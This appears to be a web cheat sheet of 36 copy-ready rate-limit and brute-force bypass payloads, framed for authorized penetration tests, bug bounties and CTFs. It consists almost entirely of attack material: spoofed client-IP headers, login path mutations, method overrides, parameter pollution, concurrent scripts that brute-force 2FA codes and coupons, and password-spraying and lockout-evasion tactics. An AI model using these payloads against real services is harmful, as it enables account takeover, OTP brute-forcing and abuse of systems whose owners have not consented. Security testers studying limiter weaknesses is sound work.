Techniques to bypass rate limiting and brute-force protections: IP-spoofing headers, casing and path mutation, parameter pollution, race-window concurrency, and account-lockout evasion for authorized pentests. (36 payloads)
X-Forwarded-For: 127.0.0.1X-Forwarded-For: <ip1>, <ip2>, <ip3>X-Real-IP: 1.3.3.7
X-Originating-IP: 1.3.3.7
X-Client-IP: 1.3.3.7
X-Remote-IP: 1.3.3.7
X-Remote-Addr: 1.3.3.7Forwarded: for=192.0.2.43;proto=httpsX-Forwarded-For: 127.0.0.1, <real-ip>X-Forwarded-Host: trusted.internal
True-Client-IP: 1.3.3.7
CF-Connecting-IP: 1.3.3.7
Fastly-Client-IP: 1.3.3.7X-Forwarded-For: 0x7f.0x0.0x0.0x1
X-Forwarded-For: 2130706433
X-Forwarded-For: 127.1POST /api/login -> POST /api/login/
POST /api/Login
POST /api/login//
POST /api/./loginPOST /api/login%2f
POST /api/login%20
POST /api/login%00
POST /api/login%09POST /api/v1/login -> /api/v2/login /api/login /api/internal/login /api/mobile/loginPOST /api/login?cachebuster=1
POST /api/login?x=1
POST /api/login#anythingPOST //api/login
POST /%2e/api/login
POST /api/%2e%2e/api/loginGET /api/login;jsessionid=AAA
GET /api/login;foo=barPOST /api/reset -> PUT /api/reset / PATCH /api/reset / DELETE /api/resetX-HTTP-Method-Override: PUT
X-Method-Override: DELETE
X-HTTP-Method: PATCHusername=admin&username=admin2
{"user":"admin","user":"admin"}Content-Type: application/json -> application/x-www-form-urlencoded -> multipart/form-dataPOST /api/login
[email protected]
[email protected]
[email protected]
[email protected].GET /api/data vs HEAD /api/datafor i in $(seq 1 30); do curl -s -X POST https://target/api/2fa/verify -H 'Cookie: session=abc' -d "code=$(printf '%06d' $i)" & done; waitimport asyncio, aiohttp
async def f(s,c):
return await s.post(URL, data={'code':c}, cookies=CK)
async def main():
async with aiohttp.ClientSession() as s:
await asyncio.gather(*[f(s, f'{i:04d}') for i in range(50)])
asyncio.run(main())# Burp Repeater: duplicate request to N tabs -> select all
# -> 'Send group in parallel (single-packet attack)'def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=1, pipeline=False)
for i in range(30):
engine.queue(target.req, str(i), gate='race')
engine.openGate('race')POST /api/coupon/apply {"code":"SAVE50"} x50 in parallelSpray: 1 password x ALL users (instead of many passwords x 1 user)Round 1: 'Spring2026!' across all users -> WAIT one observation window -> Round 2: 'Winter2026!'Login fails after N tries -> rotate X-Forwarded-For per attemptBrute the OTP/2FA code BEFORE the resend resets the attempt counterSwitch identifier: login with email, then username, then phoneDistribute attempts across a proxy/IP pool (round-robin per request)Watch: 429 Too Many Requests | Retry-After | X-RateLimit-Limit / -Remaining / -ResetBypass confirmed when: counter resets, 429 disappears, or Remaining stays high under a mutationLimiter scope check: per-IP? per-session? per-account? per-API-key? per-route?Drop the session: send the limited request with NO Cookie / Authorization headerStack the bypasses: rotate X-Forwarded-For + path-case mutation + cachebuster paramReporting impact: tie the bypass to a concrete abuse (credential stuffing, OTP brute, coupon abuse, scraping, DoS)Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 36 Rate Limit Bypass payloads for testing Rate Limit Bypass vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the API Security Testing Hub to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Rate Limit Bypass payloads are completely free, with no account required. Everything runs in your browser.